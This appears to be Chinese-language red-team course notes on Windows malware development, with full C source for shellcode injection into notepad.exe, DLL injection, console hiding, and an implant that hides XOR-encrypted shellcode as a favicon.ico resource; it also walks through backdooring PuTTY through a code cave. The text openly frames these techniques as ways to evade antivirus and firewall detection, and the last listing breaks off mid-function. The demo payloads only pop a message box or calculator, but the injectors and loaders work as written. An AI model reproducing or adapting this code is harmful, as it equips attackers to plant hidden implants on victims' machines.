code cave:已存在的段的空白处,缺点是空白的大小不定
new section:缺点是需要把新的section设置为可执行,行为敏感
extending section:扩展现有段,需要重新计算相关的偏移

可以结合起来用,比如在text段里找到了code cave,可以在这里加载额外的代码,额外的代码就来源于可写的段或者是resources,这就避免了需要把段设置为可执行的问题

使用PUTTY,32位,然后x32dbg去打开exe文件

在右侧的breakpoint中找到入口点,双击进入

pe_backdoor_1.PNG

在memory map里找到.text段,往下找到空白的区域

pe_backdoor_2.PNG

找到code cave,记录下地址,在这里打上断点,在EP的位置跳到code cave,然后在code cave结束的时候再跳回原来的EP

右键这里code cave的地址,copy -> address

把入口点最开始的这几行代码复制下来

pe_backdoor_3.PNG

右键 assemble 修改汇编代码为 jmp codecaveAddress

pe_backdoor_4.PNG

在code cave中,首先要使用 pushad和pushfd来保存寄存器状态

pe_backdoor_5.PNG

选中多行,右键binary edit 将shellcode填入

pe_backdoor_6.PNG

右键patch,但是这样改无法在执行完弹计算器之后返回正常的putty软件,在每个shellcode的call函数的位置打上断点,来定位到底是在哪个函数的位置退出程序了,最后定位到是在最后一个call的地方这里退出的

pe_backdoor_7.PNG

把这个位置之前改成jmp到后面的空白区域,然后回复寄存器,执行之前正常程序的流程,再跳回去

pe_backdoor_8.PNG

payload注入

将shellcodo迁移到别的进程中

木马进程调用AllocateMemory在目标进程中开辟内存,然后CopyShellcode到目标内存中,最后执行shellcode

1
2
3
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

为什么?

1
2
3
4
5
恶意进程可能存活很短

切换工作的上下文,比如恶意进程word.exe相较于explore.exe,如果需要从互联网上下载shellcode,明显是explore.exe更正常,更有可能绕过杀软或者防火墙检测

建立第二控守通道

shellcode注入

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// MessageBox shellcode - 64-bit
unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;


pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}


int main(void) {

int pid = 0;
HANDLE hProc = NULL;

pid = FindTarget("notepad.exe");

if (pid) {
printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}

编译之后运行,可以使用process hacker查看进程以及弹出的框属于哪个进程的

点击这个×左边的按钮,可以选中想查看的窗口,而且可以看到RX权限的内存中有shellcode

shellcode_inject_1.PNG

shellcode_inject_2.PNG

shellcode_inject_3.PNG

dll注入

也就在目标进程中是开辟内存,然后将dll路径copy到目标进程的内存中,调用LoadLibrary加载dll

怎么找到LoadLibrary的地址?因为kernel32.dll在不同进程中的加载地址都是一样的,可以在恶意进程中获取LoadLibrary的地址然后拿到目标进程中去用

1
2
3
4
调用GetProcAddress获取LoadLibrary的地址
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

需要两个文件,一个是dll,一个是将dll加载到目标进程的exe

implantDLL.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Calc.exe shellcode (exit function = thread)
unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int payload_len = 276;



extern __declspec(dllexport) int Go(void);
int Go(void) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

RtlMoveMemory(exec_mem, payload, payload_len);

rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, 0);
}
return 0;
}


BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {

switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
Go();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

implantDLL.def

1
2
3
LIBRARY "ImplantDLL"
EXPORTS
Go

injectDLL.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int main(int argc, char *argv[]) {

HANDLE pHandle;
PVOID remBuf;
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
char dll[] = "Z:\\RTO\\07.Code_Injection\\02.DLL\\implantDLL.dll";
char target[] = "notepad.exe";
int pid = 0;


pid = FindTarget(target);
if ( pid == 0) {
printf("Target NOT FOUND! Exiting.\n");
return -1;
}

printf("Target PID: [ %d ]\nInjecting...", pid);

pLoadLibrary = (PTHREAD_START_ROUTINE) GetProcAddress( GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));

if (pHandle != NULL) {
remBuf = VirtualAllocEx(pHandle, NULL, sizeof dll, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(pHandle, remBuf, (LPVOID) dll, sizeof(dll), NULL);

CreateRemoteThread(pHandle, NULL, 0, pLoadLibrary, remBuf, 0, NULL);
printf("done!\nremBuf addr = %p\n", remBuf);

CloseHandle(pHandle);
}
else {
printf("OpenProcess failed! Exiting.\n");
return -2;
}
}

当dll文件在目标进程中被加载的时候就会执行shellcode

隐藏控制台

FreeConsole

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;


pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}


int main(void) {

int pid = 0;
HANDLE hProc = NULL;

FreeConsole();
pid = FindTarget("notepad.exe");

if (pid) {
//printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}

但是上面的方法还是会短暂的弹出控制台

GuiTrick

就是把程序改成窗口程序而不是控制台程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>


unsigned char payload[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
0x00, 0x3e, 0x48, 0x8d, 0x95, 0x1a, 0x01, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
0x85, 0x35, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x07, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6,
0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x48, 0x69, 0x20, 0x66, 0x72,
0x6f, 0x6d, 0x20, 0x52, 0x65, 0x64, 0x20, 0x54, 0x65, 0x61, 0x6d, 0x20,
0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x21, 0x00, 0x52, 0x54,
0x4f, 0x3a, 0x20, 0x4d, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x00
};
unsigned int payload_len = 334;


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;


pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {

int pid = 0;
HANDLE hProc = NULL;

pid = FindTarget("notepad.exe");

if (pid) {
//printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}

Combination

从rsrc提取出加密的shellcode,然后解密shellcode,将shellcode注入到其他进程中,并且避免弹出控制台

使用的shellcoded是弹出个框,先把shellcode进行异或加密

essential_combination_1.PNG

但是resource需要是文件类型,再把异或代码改一下,输出到文件中

1
2
ciphertext = xor(plaintext, KEY)
open("favicon.ico","wb").write(ciphertext)

最终的文件目录结构

essential_combination_2.PNG

resources.h

1
#define FAVICON_ICO 100

resources.rc

1
2
#include "resources.h"
FAVICON_ICO RCDATA favicon.ico

implant.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
j++;
}
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;


pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}

int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {

void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;

int pid = 0;
HANDLE hProc = NULL;
unsigned char * payload;
unsigned int payload_len;
char key[] = "mysecretkeee";

// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);

// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);

